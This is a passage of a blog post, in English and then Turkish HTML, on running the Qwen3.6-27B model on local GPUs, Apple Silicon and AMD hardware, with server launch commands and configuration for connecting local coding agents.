</span>-DGGML_HIPBLAS<span class="o">=</span>ON<span class="w"> </span>-DCMAKE_HIP_ARCHITECTURES<span class="o">=</span><span class="s2">"gfx1151"</span> make<span class="w"> </span>-j<span class="k">$(</span>nproc<span class="k">)</span> <span class="c1"># Starting the server</span> ./llama-server<span class="w"> </span><span class="se">\</span> <span class="w"> </span>-m<span class="w"> </span>Qwen3.6-27B-Q4_K_M.gguf<span class="w"> </span><span class="se">\</span> <span class="w"> </span>-ngl<span class="w"> </span><span class="m">99</span><span class="w"> </span><span class="se">\</span> <span class="w"> </span>-c<span class="w"> </span><span class="m">32768</span><span class="w"> </span><span class="se">\</span> <span class="w"> </span>--flash-attn<span class="w"> </span>on<span class="w"> </span><span class="se">\</span> <span class="w"> </span>--host<span class="w"> </span><span class="m">0</span>.0.0.0<span class="w"> </span><span class="se">\</span> <span class="w"> </span>--port<span class="w"> </span><span class="m">8080</span> </code></pre></div> <p><em>Expected speed: 10-12 tokens per second with thinking mode enabled, 35-45 tokens per second with it disabled.</em></p> <h2 id="framework-versions-are-critical_1">Framework Versions Are Critical!<a class="headerlink" href="#framework-versions-are-critical" title="Permanent link">#</a></h2> <p>To run the Qwen3.6-27B model smoothly and correctly, you need up-to-date libraries, my friend. Version mismatches can lead to erroneous outputs:</p> <ul> <li><strong>SGLang</strong>: &gt;= 0.5.10</li> <li><strong>vLLM</strong>: &gt;= 0.19.0</li> <li><strong>Transformers</strong>: &gt;= 4.51.0 or the latest main branch</li> </ul> <h2 id="pushing-the-million-token-limit-yarn-adjustment">Pushing the Million Token Limit: YaRN Adjustment<a class="headerlink" href="#pushing-the-million-token-limit-yarn-adjustment" title="Permanent link">#</a></h2> <p>If you need more than the default 262K context window, you can update the RoPE parameters by opening the <code>config.json</code> file in the model folder:</p> <div class="highlight"><pre><span></span><code><span class="p">{</span> <span class="w"> </span><span class="nt">"mrope_interleaved"</span><span class="p">:</span><span class="w"> </span><span class="kc">true</span><span class="p">,</span> <span class="w"> </span><span class="nt">"mrope_section"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="mi">11</span><span class="p">,</span><span class="w"> </span><span class="mi">11</span><span class="p">,</span><span class="w"> </span><span class="mi">10</span><span class="p">],</span> <span class="w"> </span><span class="nt">"rope_type"</span><span class="p">:</span><span class="w"> </span><span class="s2">"yarn"</span><span class="p">,</span> <span class="w"> </span><span class="nt">"rope_theta"</span><span class="p">:</span><span class="w"> </span><span class="mi">10000000</span><span class="p">,</span> <span class="w"> </span><span class="nt">"partial_rotary_factor"</span><span class="p">:</span><span class="w"> </span><span class="mf">0.25</span><span class="p">,</span> <span class="w"> </span><span class="nt">"factor"</span><span class="p">:</span><span class="w"> </span><span class="mf">4.0</span><span class="p">,</span> <span class="w"> </span><span class="nt">"original_max_position_embeddings"</span><span class="p">:</span><span class="w"> </span><span class="mi">262144</span> <span class="p">}</span> </code></pre></div> <p>You can also pass the same setting directly as a launch parameter in vLLM:</p> <div class="highlight"><pre><span></span><code><span class="nv">VLLM_ALLOW_LONG_MAX_MODEL_LEN</span><span class="o">=</span><span class="m">1</span><span class="w"> </span>vllm<span class="w"> </span>serve<span class="w"> </span>Qwen/Qwen3.6-27B<span class="w"> </span><span class="se">\</span> <span class="w"> </span>--tensor-parallel-size<span class="w"> </span><span class="m">8</span><span class="w"> </span><span class="se">\</span> <span class="w"> </span>--max-model-len<span class="w"> </span><span class="m">1010000</span><span class="w"> </span><span class="se">\</span> <span class="w"> </span>--hf-overrides<span class="w"> </span><span class="s1">'{"text_config": {"rope_parameters": {"mrope_interleaved": true, "mrope_section": [11, 11, 10], "rope_type": "yarn", "rope_theta": 10000000, "partial_rotary_factor": 0.25, "factor": 4.0, "original_max_position_embeddings": 262144}}}'</span> </code></pre></div> <div class="admonition warning"> <p class="admonition-title">Caution! ⚡ YaRN Can Degrade Performance on Short Prompts</p> <p>Since YaRN scaling uses a fixed multiplier, it might slightly affect model quality on short texts. I recommend enabling this setting only when you truly need to analyze massive codebases.</p> </div> <h2 id="connecting-to-local-coding-agents">Connecting to Local Coding Agents<a class="headerlink" href="#connecting-to-local-coding-agents" title="Permanent link">#</a></h2> <p>Once the model is up and running, we can easily connect it to popular agents via OpenAI or Anthropic-compatible API protocols.</p> <h3 id="openclaw-integration">OpenClaw Integration 🔌<a class="headerlink" href="#openclaw-integration" title="Permanent link">#</a></h3> <p>For OpenClaw, the open-source coding agent you can self-host, update the <code>~/.openclaw/openclaw.json</code> configuration file like this:</p> <div class="highlight"><pre><span></span><code><span class="p">{</span> <span class="w"> </span><span class="nt">"models"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span> <span class="w"> </span><span class="nt">"mode"</span><span class="p">:</span><span class="w"> </span><span class="s2">"merge"</span><span class="p">,</span> <span class="w"> </span><span class="nt">"providers"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span> <span class="w"> </span><span class="nt">"local"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span> <span class="w"> </span><span class="nt">"baseUrl"</span><span class="p">:</span><span class="w"> </span><span class="s2">"http://localhost:8000/v1"</span><span class="p">,</span> <span class="w"> </span><span class="nt">"apiKey"</span><span class="p">:</span><span class="w"> </span><span class="s2">"EMPTY"</span><span class="p">,</span> <span class="w"> </span><span class="nt">"api"</span><span class="p">:</span><span class="w"> </span><span class="s2">"openai-completions"</span><span class="p">,</span> <span class="w"> </span><span class="nt">"models"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span> <span class="w"> </span><span class="p">{</span> <span class="w"> </span><span class="nt">"id"</span><span class="p">:</span><span class="w"> </span><span class="s2">"qwen3.6-27b"</span><span class="p">,</span> <span class="w"> </span><span class="nt">"name"</span><span class="p">:</span><span class="w"> </span><span class="s2">"qwen3.6-27b"</span><span class="p">,</span> <span class="w"> </span><span class="nt">"reasoning"</span><span class="p">:</span><span class="w"> </span><span class="kc">true</span><span class="p">,</span> <span class="w"> </span><span class="nt">"input"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="s2">"text"</span><span class="p">,</span><span class="w"> </span><span class="s2">"image"</span><span class="p">],</span> <span class="w"> </span><span class="nt">"contextWindow"</span><span class="p">:</span><span class="w"> </span><span class="mi">131072</span><span class="p">,</span> <span class="w"> </span><span class="nt">"maxTokens"</span><span class="p">:</span><span class="w"> </span><span class="mi">32768</span> <span class="w"> </span><span class="p">}</span> <span class="w"> </span><span class="p">]</span> <span class="w"> </span><span class="p">}</span> <span class="w"> </span><span class="p">}</span> <span class="w"> </span><span class="p">},</span> <span class="w"> </span><span class="nt">"agents"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span> <span class="w"> </span><span class="nt">"defaults"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span> <span class="w"> </span><span class="nt">"model"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span> <span class="w"> </span><span class="nt">"primary"</span><span class="p">:</span><span class="w"> </span><span class="s2">"local/qwen3.6-27b"</span> <span class="w"> </span><span class="p">}</span> <span class="w"> </span><span class="p">}</span> <span class="w"> </span><span class="p">}</span> <span class="p">}</span> </code></pre></div> <h3 id="qwen-code-setup">Qwen Code Setup 💻<a class="headerlink" href="#qwen-code-setup" title="Permanent link">#</a></h3> <p>You can install and start using Qwen Code, Alibaba's terminal agent specifically designed for Qwen models, right away:</p> <div class="highlight"><pre><span></span><code>npm<span class="w"> </span>install<span class="w"> </span>-g<span class="w"> </span><a href="https://twitter.com/qwen">@qwen</a>-code/qwen-code@latest qwen <span class="c1"># In the terminal interface: Use the /auth command to enter your local endpoint address</span> </code></pre></div> <h3 id="using-local-models-with-claude-code">Using Local Models with Claude Code 📡<a class="headerlink" href="#using-local-models-with-claude-code" title="Permanent link">#</a></h3> <p>If you prefer using Claude Code, you can convince Qwen3.6-27B to behave like Claude by directing environment variables to your local API server:</p> <div class="highlight"><pre><span></span><code><span class="nb">export</span><span class="w"> </span><span class="nv">ANTHROPIC_MODEL</span><span class="o">=</span><span class="s2">"qwen3.6-27b"</span> <span class="nb">export</span><span class="w"> </span><span class="nv">ANTHROPIC_SMALL_FAST_MODEL</span><span class="o">=</span><span class="s2">"qwen3.6-27b"</span> <span class="nb">export</span><span class="w"> </span><span class="nv">ANTHROPIC_BASE_URL</span><span class="o">=</span><span class="s2">"http://localhost:8000/v1"</span> <span class="nb">export</span><span class="w"> </span><span class="nv">ANTHROPIC_AUTH_TOKEN</span><span class="o">=</span><span class="s2">"EMPTY"</span> claude </code></pre></div> <h2 id="realistic-limitations-and-downsides-of-the-model_1">Realistic Limitations and Downsides of the Model<a class="headerlink" href="#realistic-limitations-and-downsides-of-the-model" title="Permanent link">#</a></h2> <p>Of course, not everything is sunshine and rainbows, my friend. Before setting up this model, you need to be aware of these details:</p> <ul> <li><strong>Power Consumption 🌡️:</strong> Dense architectures consume significantly more electricity on the server and heat up the cards more than MoE models with fewer active parameters per forward pass.</li> <li><strong>Hardware Requirement:</strong> Even when quantized, it still requires a graphics card with at least 24 GB of VRAM. Running it smoothly on entry-level computers or low-spec laptops is challenging.</li> <li><strong>Ecosystem Maturity:</strong> As the model is very new, community-generated fine-tunes and tool integrations are still in their infancy.</li> </ul> <p>If you want to run on your local hardware with complete data privacy, without relying on cloud services, and without paying API bills, Qwen3.6-27B is currently one of the most formidable local options on the market.</p> <p>Stay safe, everyone! 👋</p> <hr/> <h3 id="other-notes-from-the-lab">🔗 Other Notes from the Lab<a class="headerlink" href="#other-notes-from-the-lab" title="Permanent link">#</a></h3> <p>Here are some other experiences that might be useful when running AI models locally and tinkering with terminal tools:</p> <ul> <li><a href="/en/qwen3-mcp-server-aktif-etme/">Enabling MCP Servers on Qwen 3 and Qwen3-Coder-Plus</a></li> <li><a href="/en/yerel-ai-kurulum-rehberi-lm-studio-vs-code/">Goodbye Monthly Subscriptions: Your Free and Private AI Guide on Your Own Computer</a></li> <li><a href="/en/arch-linux-ollama-webui-kurulumu-docker/">Ollama and WebUI Installation on Arch Linux (with Docker)</a></li> <li><a href="/en/mcp-puppeteer-sunucusu-kurulumu/">MCP Puppeteer Server Setup</a></li> <li><a href="/en/docker-imaj-boyutu-kucultme-rehberi/">Dieting for Bloated Docker Images: A Journey from 1.2 GB to 78 MB</a></li> </ul> <div class="footnote"> <hr/> <ol> <li id="fn:1"> <p>Based on SGLang workarounds identified by the CloudRift team for Blackwell (sm_120) hardware, using BF16 KV cache and disabling the radix cache feature resolves stability issues.&nbsp;<a class="footnote-backref" href="#fnref:1" title="Jump back to footnote 1 in the text">&larrhk;</a></p> </li> <li id="fn:2"> <p>On Apple Silicon, MLX accesses the Metal API directly, offering lower latency and higher throughput compared to classic llama.cpp / GGUF compilations.&nbsp;<a class="footnote-backref" href="#fnref:2" title="Jump back to footnote 2 in the text">&larrhk;</a></p> </li> </ol> </div>2026-05-29T04:25:00+03:002026-05-29T04:25:00+03:00yuceltoluyagtag:yuceltoluyag.github.io,2026-05-29:/qwen-3-6-27b-yerel-kod-modeli-kurulumu/

<p>Yapay zeka dünyasının en yeni gözdelerinden Qwen3.6-27B modelini yerel donanımlarda (RTX 3090/5090, Apple Silicon, AMD Strix Halo) nasıl çalıştıracağımızı ve kodlama ajanlarına nasıl bağlayacağımızı anlatıyorum.</p>

<p>Yapay zeka d&uuml;nyas&inodot;nda uzun s&uuml;redir bize &scedil;u masal anlat&inodot;l&inodot;yor hac&inodot;: E&gbreve;er yerel bilgisayar&inodot;nda veya sunucunda &uuml;st seviye (flagship) kodlama performans&inodot; istiyorsan, y&uuml;zlerce milyarl&inodot;k devasa Mixture of Experts (MoE) modellerini kurmak zorundas&inodot;n. Tabii bunun getirdi&gbreve;i karma&scedil;&inodot;k y&ouml;nlendirme (routing) mant&inodot;&gbreve;&inodot;, s&uuml;r&uuml;c&uuml; (driver) kabuslar&inodot; ve k&uuml;&ccedil;&uuml;k bir mahalleyi &inodot;s&inodot;tacak kadar &ccedil;ok GPU ihtiyac&inodot; da cabas&inodot;. 🥵</p> <p>Alibaba'n&inodot;n 22 Nisan 2026'da &ccedil;&inodot;kard&inodot;&gbreve;&inodot; <strong>Qwen3.6-27B</strong> modeli bu ezberi tamamen bozdu. Bu canavar, sadece 27 milyar parametreli yo&gbreve;un (dense) bir mimari olmas&inodot;na ra&gbreve;men, 397 milyar parametrelik &ouml;nceki nesil MoE bayrak gemisini (Qwen3.5-397B-A17B) kodlama ve yaz&inodot;l&inodot;m ajan&inodot; benchmarklar&inodot;nda resmen ezdi ge&ccedil;ti. &Uuml;stelik hi&ccedil;bir karma&scedil;&inodot;k routing tablosu veya uzman y&uuml;kleme derdi olmadan, evimizdeki emektar donan&inodot;mlarda &ccedil;al&inodot;&scedil;abiliyor. 😎</p> <p>Bu yaz&inodot;da, bu ufak ama di&scedil;li modelin devasa MoE modellerine nas&inodot;l kafa tuttu&gbreve;unu, hangi donan&inodot;mlarda hangi kantizasyon (quantization) seviyesinde &ccedil;al&inodot;&scedil;t&inodot;rabilece&gbreve;imizi ve yerel kodlama ajanlar&inodot;m&inodot;za (OpenClaw, Qwen Code, Claude Code) nas&inodot;l entegre edece&gbreve;imizi ad&inodot;m ad&inodot;m anlat&inodot;yorum.</p> <h2 id="devasa-bir-moe-modeli-vs-27b-yogun-mimari">Devasa Bir MoE Modeli vs 27B Yo&gbreve;un Mimari<a class="headerlink" href="#devasa-bir-moe-modeli-vs-27b-yogun-mimari" title="Permanent link">#</a></h2> <p>Rakamlar ger&ccedil;ekten &scedil;a&scedil;&inodot;rt&inodot;c&inodot; karda&scedil;. Qwen3.6-27B, abisini sadece ufak bir farkla ge&ccedil;mekle kalm&inodot;yor; ger&ccedil;ek d&uuml;nya geli&scedil;tirici ara&ccedil;lar&inodot; i&ccedil;in kritik olan t&uuml;m benchmarklarda ezici bir zafer kazan&inodot;yor.</p> <p>Ger&ccedil;ek GitHub sorunlar&inodot;n&inodot; &ccedil;&ouml;zme yetene&gbreve;ini &ouml;l&ccedil;en <strong>SWE-bench Verified</strong> testinde Qwen3.6-27B, 397 milyarl&inodot;k devasa MoE modelinin %76.2'lik skoruna kar&scedil;&inodot;l&inodot;k <strong>%77.2</strong> al&inodot;yor. Model boyutlar&inodot; aras&inodot;ndaki 15 katl&inodot;k fark&inodot; d&uuml;&scedil;&uuml;n&uuml;rsek bu muazzam bir ba&scedil;ar&inodot;. 🤯</p> <p>Fark, u&ccedil;birim/terminal g&ouml;revlerini test eden <strong>Terminal-Bench 2.0</strong> testinde daha da a&ccedil;&inodot;l&inodot;yor: Qwen3.6-27B %59.3 al&inodot;rken, MoE model %52.5'te kal&inodot;yor. Pratik yaz&inodot;l&inodot;m m&uuml;hendisli&gbreve;i g&ouml;revlerini i&ccedil;eren <strong>SkillsBench</strong> testinde ise en b&uuml;y&uuml;k makas a&ccedil;&inodot;l&inodot;yor: %48.2'ye kar&scedil;&inodot;l&inodot;k %30.0. K&inodot;sacas&inodot;, bu k&uuml;&ccedil;&uuml;k model yaz&inodot;l&inodot;mc&inodot;lar&inodot;n g&uuml;nl&uuml;k hayatta kar&scedil;&inodot;la&scedil;t&inodot;&gbreve;&inodot; karma&scedil;&inodot;k, kirli ve de&gbreve;i&scedil;ken kodlama i&scedil;lerinde &ccedil;ok daha ba&scedil;ar&inodot;l&inodot;.</p> <p>Peki bu nas&inodot;l oluyor? Yo&gbreve;un (dense) mimariler, MoE modelleri gibi "uzman y&ouml;nlendirme" d&ouml;ng&uuml;leriyle veya seyrek a&gbreve;&inodot;rl&inodot;klar&inodot; belle&gbreve;e y&uuml;klemekle vakit kaybetmez. ⚡ Her ileri ge&ccedil;i&scedil;te (forward pass) t&uuml;m parametreler aktiftir. 27 milyar parametre s&inodot;n&inodot;r&inodot;, karma&scedil;&inodot;k mant&inodot;k y&uuml;r&uuml;tme kal&inodot;plar&inodot;n&inodot; kodlamak i&ccedil;in yeterince b&uuml;y&uuml;k, s&inodot;ra d&inodot;&scedil;&inodot; donan&inodot;mlara ihtiya&ccedil; duymadan verimli &ccedil;al&inodot;&scedil;mak i&ccedil;in ise yeterince k&uuml;&ccedil;&uuml;kt&uuml;r.</p> <h2 id="qwen36-27b-bize-neler-sunuyor">Qwen3.6-27B Bize Neler Sunuyor?<a class="headerlink" href="#qwen36-27b-bize-neler-sunuyor" title="Permanent link">#</a></h2> <p>Qwen3.6-27B sadece kod yazan bir model de&gbreve;il. Olduk&ccedil;a yetenekli ve &ccedil;ok y&ouml;nl&uuml; bir &ouml;zellik setine sahip:</p> <ul> <li><strong>Ajanl&inodot;k Kodlama Yetene&gbreve;i 🛠️:</strong> Ara&ccedil; kullan&inodot;m&inodot; (tool use), uzun vadeli planlama ve &ccedil;oklu dosya d&uuml;zenleme konular&inodot;nda &ccedil;ok ba&scedil;ar&inodot;l&inodot;. Claw-Eval testinde %72.4 alarak karma&scedil;&inodot;k geli&scedil;tirici i&scedil; ak&inodot;&scedil;lar&inodot;nda ger&ccedil;ek bir yard&inodot;mc&inodot; olabilece&gbreve;ini kan&inodot;tl&inodot;yor.</li> <li><strong>G&ouml;rsel ve Multimodal Zeka 👁️:</strong> Resim, video ve metinleri tek bir checkpoint &uuml;zerinden i&scedil;leyebiliyor. Ekstra bir vizyon modeli y&uuml;klemenize gerek kalm&inodot;yor. Dok&uuml;mantasyon &scedil;emalar&inodot; veya ekran g&ouml;r&uuml;nt&uuml;leri &uuml;zerinde rahat&ccedil;a analiz yapabiliyor.</li> <li><strong>Devasa Ba&gbreve;lam Penceresi 📄:</strong> Yerel olarak 262.144 (262K) token deste&gbreve;i sunuyor. YaRN RoPE &ouml;l&ccedil;eklendirmesiyle bu s&inodot;n&inodot;r&inodot; 1 milyon token seviyelerine kadar esnetmek m&uuml;mk&uuml;n.</li> <li><strong>D&uuml;&scedil;&uuml;nme Modlar&inodot; (Thinking Mode) 🧠:</strong> Ak&inodot;l y&uuml;r&uuml;tme ad&inodot;mlar&inodot;n&inodot; <code>&lt;think&gt;...&lt;/think&gt;</code> bloklar&inodot; i&ccedil;inde &uuml;reterek karma&scedil;&inodot;k sorgularda daha tutarl&inodot; cevaplar veriyor. Basit i&scedil;lerde gecikmeyi (latency) d&uuml;&scedil;&uuml;rmek i&ccedil;in bu modu kapatabilirsiniz.</li> </ul> <h2 id="yerel-donanm-secenekleri-ve-kurulum-admlar">Yerel Donan&inodot;m Se&ccedil;enekleri ve Kurulum Ad&inodot;mlar&inodot;<a class="headerlink" href="#yerel-donanm-secenekleri-ve-kurulum-admlar" title="Permanent link">#</a></h2> <p>Yo&gbreve;un mimarisi sayesinde Qwen3.6-27B'yi b&uuml;t&ccedil;enize ve elinizdeki donan&inodot;ma g&ouml;re farkl&inodot; &scedil;ekillerde ko&scedil;turabilirsiniz.</p> <h3 id="1-butce-dostu-tek-gpu-rtx-4090-24gb-vram">1. B&uuml;t&ccedil;e Dostu Tek GPU (RTX 4090 / 24GB VRAM) 💰<a class="headerlink" href="#1-butce-dostu-tek-gpu-rtx-4090-24gb-vram" title="Permanent link">#</a></h3> <p>E&gbreve;er elinizde tek bir RTX 4090 varsa, modeli INT4 veya GPTQ kantizasyonuyla &ccedil;al&inodot;&scedil;t&inodot;rabilirsiniz. Model a&gbreve;&inodot;rl&inodot;klar&inodot; bellekte yakla&scedil;&inodot;k 15-17 GB yer kaplar ve KV cache i&ccedil;in bolca alan kal&inodot;r.</p> <p>vLLM ile &ccedil;al&inodot;&scedil;t&inodot;rmak i&ccedil;in:</p> <div class="highlight"><pre><span></span><code>vllm<span class="w"> </span>serve<span class="w"> </span>Qwen/Qwen3.6-27B-GPTQ-Int4<span class="w"> </span><span class="se">\</span> <span class="w"> </span>--port<span class="w"> </span><span class="m">8000</span><span class="w"> </span><span class="se">\</span> <span class="w"> </span>--max-model-len<span class="w"> </span><span class="m">131072</span><span class="w"> </span><span class="se">\</span> <span class="w"> </span>--reasoning-parser<span class="w"> </span>qwen3 </code></pre></div> <p><em>Beklenen h&inodot;z: K&inodot;sa ba&gbreve;lamlarda saniyede 15-30 token. Yerel kodlama asistan&inodot; olarak kullanmak i&ccedil;in gayet yeterli.</em></p> <h3 id="2-orta-seviye-cift-gpu-48gb-vram">2. Orta Seviye &Ccedil;ift GPU (48GB VRAM) 🖥️<a class="headerlink" href="#2-orta-seviye-cift-gpu-48gb-vram" title="Permanent link">#</a></h3> <p>&Idot;ki adet RTX 4090 veya benzer kapasitede bir donan&inodot;mla modelin FP8 varyant&inodot;n&inodot; veya BF16 s&uuml;r&uuml;m&uuml;n&uuml; rahat&ccedil;a &ccedil;al&inodot;&scedil;t&inodot;rabilirsiniz. FP8, modelin ak&inodot;l y&uuml;r&uuml;tme kalitesini bozmadan bellek ayak izini yar&inodot; yar&inodot;ya d&uuml;&scedil;&uuml;r&uuml;r.</p> <p>SGLang ile &ccedil;al&inodot;&scedil;t&inodot;rmak i&ccedil;in:</p> <div class="highlight"><pre><span></span><code>python<span class="w"> </span>-m<span class="w"> </span>sglang.launch_server<span class="w"> </span><span class="se">\</span> <span class="w"> </span>--model-path<span class="w"> </span>Qwen/Qwen3.6-27B-FP8<span class="w"> </span><span class="se">\</span> <span class="w"> </span>--port<span class="w"> </span><span class="m">8000</span><span class="w"> </span><span class="se">\</span> <span class="w"> </span>--tp-size<span class="w"> </span><span class="m">2</span><span class="w"> </span><span class="se">\</span> <span class="w"> </span>--mem-fraction-static<span class="w"> </span><span class="m">0</span>.85<span class="w"> </span><span class="se">\</span> <span class="w"> </span>--context-length<span class="w"> </span><span class="m">131072</span><span class="w"> </span><span class="se">\</span> <span class="w"> </span>--reasoning-parser<span class="w"> </span>qwen3 </code></pre></div> <p><em>Beklenen h&inodot;z: Saniyede 40-70 token. Bireysel geli&scedil;tiriciler ve k&uuml;&ccedil;&uuml;k ekipler i&ccedil;in en ideal kurulum budur.</em></p> <h3 id="3-tek-kartn-gucu-rtx-5090-32gb-vram">3. Tek Kart&inodot;n G&uuml;c&uuml;: RTX 5090 (32GB VRAM) 🚀<a class="headerlink" href="#3-tek-kartn-gucu-rtx-5090-32gb-vram" title="Permanent link">#</a></h3> <p>RTX 5090 (Blackwell mimarisi), Qwen3.6-27B &ccedil;al&inodot;&scedil;t&inodot;rmak i&ccedil;in tek kartl&inodot;k en iyi se&ccedil;enektir hac&inodot;. 32 GB VRAM sayesinde Q4_K_M GGUF modelini (yakla&scedil;&inodot;k 16.8 GB) belle&gbreve;e y&uuml;kledikten sonra bile KV cache i&ccedil;in devasa bir alan kal&inodot;r.</p> <div class="admonition warning"> <p class="admonition-title">Dikkat! ⚠️ Blackwell sm_120 ve FP8 Uyumluluk Sorunlar&inodot;</p> <p>Blackwell mimarisindeki baz&inodot; FP8 uyumsuzluklar&inodot; nedeniyle SGLang &uuml;zerinde sorun ya&scedil;arsan&inodot;z, ge&ccedil;ici bir &ccedil;&ouml;z&uuml;m olarak radix cache &ouml;zelli&gbreve;ini kapatman&inodot;z ve FP8 yerine BF16 KV cache kullanman&inodot;z gerekebilir<sup id="fnref:1"><a class="footnote-ref" href="#fn:1">1</a></sup>. En temiz ve kararl&inodot; yol &scedil;imdilik llama-server &uuml;zerinden GGUF kullanmakt&inodot;r:</p> </div> <div class="highlight"><pre><span></span><code>llama-server<span class="w"> </span><span class="se">\</span> <span class="w"> </span>-hf<span class="w"> </span>unsloth/Qwen3.6-27B-GGUF:Q4_K_M<span class="w"> </span><span class="se">\</span> <span class="w"> </span>--no-mmproj<span class="w"> </span><span class="se">\</span> <span class="w"> </span>--fit<span class="w"> </span>on<span class="w"> </span><span class="se">\</span> <span class="w"> </span>-ngl<span class="w"> </span><span class="m">99</span><span class="w"> </span><span class="se">\</span> <span class="w"> </span>-c<span class="w"> </span><span class="m">65536</span><span class="w"> </span><span class="se">\</span> <span class="w"> </span>--flash-attn<span class="w"> </span>on<span class="w"> </span><span class="se">\</span> <span class="w"> </span>--cache-type-k<span class="w"> </span>q8_0<span class="w"> </span><span class="se">\</span> <span class="w"> </span>--cache-type-v<span class="w"> </span>q8_0<span class="w"> </span><span class="se">\</span> <span class="w"> </span>--jinja<span class="w"> </span><span class="se">\</span> <span class="w"> </span>--temp<span class="w"> </span><span class="m">0</span>.6<span class="w"> </span><span class="se">\</span> <span class="w"> </span>--top-p<span class="w"> </span><span class="m">0</span>.95<span class="w"> </span><span class="se">\</span> <span class="w"> </span>--top-k<span class="w"> </span><span class="m">20</span><span class="w"> </span><span class="se">\</span> <span class="w"> </span>--reasoning<span class="w"> </span>on<span class="w"> </span><span class="se">\</span> <span class="w"> </span>--chat-template-kwargs<span class="w"> </span><span class="s1">'{"preserve_thinking": true}'</span> </code></pre></div> <p><em>Beklenen h&inodot;z: Saniyede 25-30 token &uuml;retim, 50-70 token girdi i&scedil;leme.</em></p> <h3 id="4-ikinci-elin-kral-rtx-3090-24gb-vram">4. &Idot;kinci Elin Kral&inodot;: RTX 3090 (24GB VRAM) 👑<a class="headerlink" href="#4-ikinci-elin-kral-rtx-3090-24gb-vram" title="Permanent link">#</a></h3> <p>RTX 3090, yerel yapay zeka geli&scedil;tiricileri i&ccedil;in h&acirc;l&acirc; en mant&inodot;kl&inodot; fiyat/performans se&ccedil;ene&gbreve;idir. 24 GB VRAM kapasitesi 4090 ile ayn&inodot;d&inodot;r. Q4_K_M kantizasyonunu 16.8 GB bellek kullan&inodot;m&inodot;yla y&uuml;kleyip, kalan 7 GB alan&inodot; 32K-64K ba&gbreve;lam penceresi i&ccedil;in kullanabilirsiniz.</p> <p>Ollama ile en h&inodot;zl&inodot; &ccedil;al&inodot;&scedil;t&inodot;rma yolu:</p> <div class="highlight"><pre><span></span><code>ollama<span class="w"> </span>pull<span class="w"> </span>qwen3.5:27b-q4_K_M ollama<span class="w"> </span>run<span class="w"> </span>qwen3.5:27b-q4_K_M </code></pre></div> <p><em>Not: Ollama i&ccedil;in resmi Qwen3.6 deste&gbreve;i da&gbreve;&inodot;t&inodot;lmaya ba&scedil;land&inodot;. E&gbreve;er 3.6 etiketini bulamazsan&inodot;z, performans k&inodot;yaslamas&inodot; yapmak i&ccedil;in 3.5-27B s&uuml;r&uuml;m&uuml;n&uuml; de deneyebilirsiniz.</em></p> <h3 id="5-macos-dunyas-apple-silicon-mlx">5. macOS D&uuml;nyas&inodot;: Apple Silicon (MLX) 🍎<a class="headerlink" href="#5-macos-dunyas-apple-silicon-mlx" title="Permanent link">#</a></h3> <p>Mac kullan&inodot;yorsan&inodot;z en temiz yol Apple'&inodot;n Metal altyap&inodot;s&inodot;yla do&gbreve;rudan konu&scedil;an MLX k&uuml;t&uuml;phanesini kullanmakt&inodot;r<sup id="fnref:2"><a class="footnote-ref" href="#fn:2">2</a></sup>. Unsloth taraf&inodot;ndan haz&inodot;rlanan dinamik 4-bit MLX kantizasyonunu kullanabilirsiniz.</p> <p>Donan&inodot;m s&inodot;n&inodot;r&inodot; burada kritiktir: 24GB bellekli M3 Max modeli ucu ucuna kurtar&inodot;r ancak hantal kalabilir. 🐌 Ak&inodot;c&inodot; bir deneyim i&ccedil;in en az 36GB M3 Max, 48GB M4 Pro veya daha &uuml;st&uuml; (64GB/128GB) modelleri tercih etmelisiniz.</p> <div class="highlight"><pre><span></span><code>pip<span class="w"> </span>install<span class="w"> </span>mlx-lm <span class="c1"># D&uuml;&scedil;&uuml;nme modu a&ccedil;&inodot;k &scedil;ekilde &ccedil;al&inodot;&scedil;t&inodot;rmak i&ccedil;in:</span> python<span class="w"> </span>-m<span class="w"> </span>mlx_vlm.chat<span class="w"> </span><span class="se">\</span> <span class="w"> </span>--model<span class="w"> </span>unsloth/Qwen3.6-27B-UD-MLX-4bit<span class="w"> </span><span class="se">\</span> <span class="w"> </span>--chat-template-kwargs<span class="w"> </span><span class="s1">'{"enable_thinking":true}'</span> </code></pre></div> <h3 id="6-amd-strix-halo-apu">6. AMD Strix Halo APU 🎮<a class="headerlink" href="#6-amd-strix-halo-apu" title="Permanent link">#</a></h3> <p>AMD'nin Strix Halo (Ryzen AI Max+ 395) platformu, 128 GB'a kadar birle&scedil;ik (unified) LPDDR5X belle&gbreve;i payla&scedil;an 16 Zen 5 &ccedil;ekirde&gbreve;i ve 40-CU RDNA 3.5 grafik i&scedil;lemcisiyle yerel AI i&ccedil;in harika bir alternatif sunuyor. PCIe darbo&gbreve;az&inodot; veya VRAM s&inodot;n&inodot;r&inodot; olmadan, belle&gbreve;in 64-96 GB'l&inodot;k k&inodot;sm&inodot;n&inodot; tamamen GPU'ya atayabilirsiniz.</p> <p>ROCm altyap&inodot;s&inodot;n&inodot; kullanarak llama.cpp derlemesi ve &ccedil;al&inodot;&scedil;t&inodot;rma ad&inodot;mlar&inodot;:</p> <div class="highlight"><pre><span></span><code><span class="c1"># gfx1151 mimarisi i&ccedil;in derleme yap&inodot;yoruz</span> cmake<span class="w"> </span>..<span class="w"> </span>-DGGML_HIPBLAS<span class="o">=</span>ON<span class="w"> </span>-DCMAKE_HIP_ARCHITECTURES<span class="o">=</span><span class="s2">"gfx1151"</span> make<span class="w"> </span>-j<span class="k">$(</span>nproc<span class="k">)</span> <span class="c1"># Sunucuyu ba&scedil;lat&inodot;yoruz</span> ./llama-server<span class="w"> </span><span class="se">\</span> <span class="w"> </span>-m<span class="w"> </span>Qwen3.6-27B-Q4_K_M.gguf<span class="w"> </span><span class="se">\</span> <span class="w"> </span>-ngl<span class="w"> </span><span class="m">99</span><span class="w"> </span><span class="se">\</span> <span class="w"> </span>-c<span class="w"> </span><span class="m">32768</span><span class="w"> </span><span class="se">\</span> <span class="w"> </span>--flash-attn<span class="w"> </span>on<span class="w"> </span><span class="se">\</span> <span class="w"> </span>--host<span class="w"> </span><span class="m">0</span>.0.0.0<span class="w"> </span><span class="se">\</span> <span class="w"> </span>--port<span class="w"> </span><span class="m">8080</span> 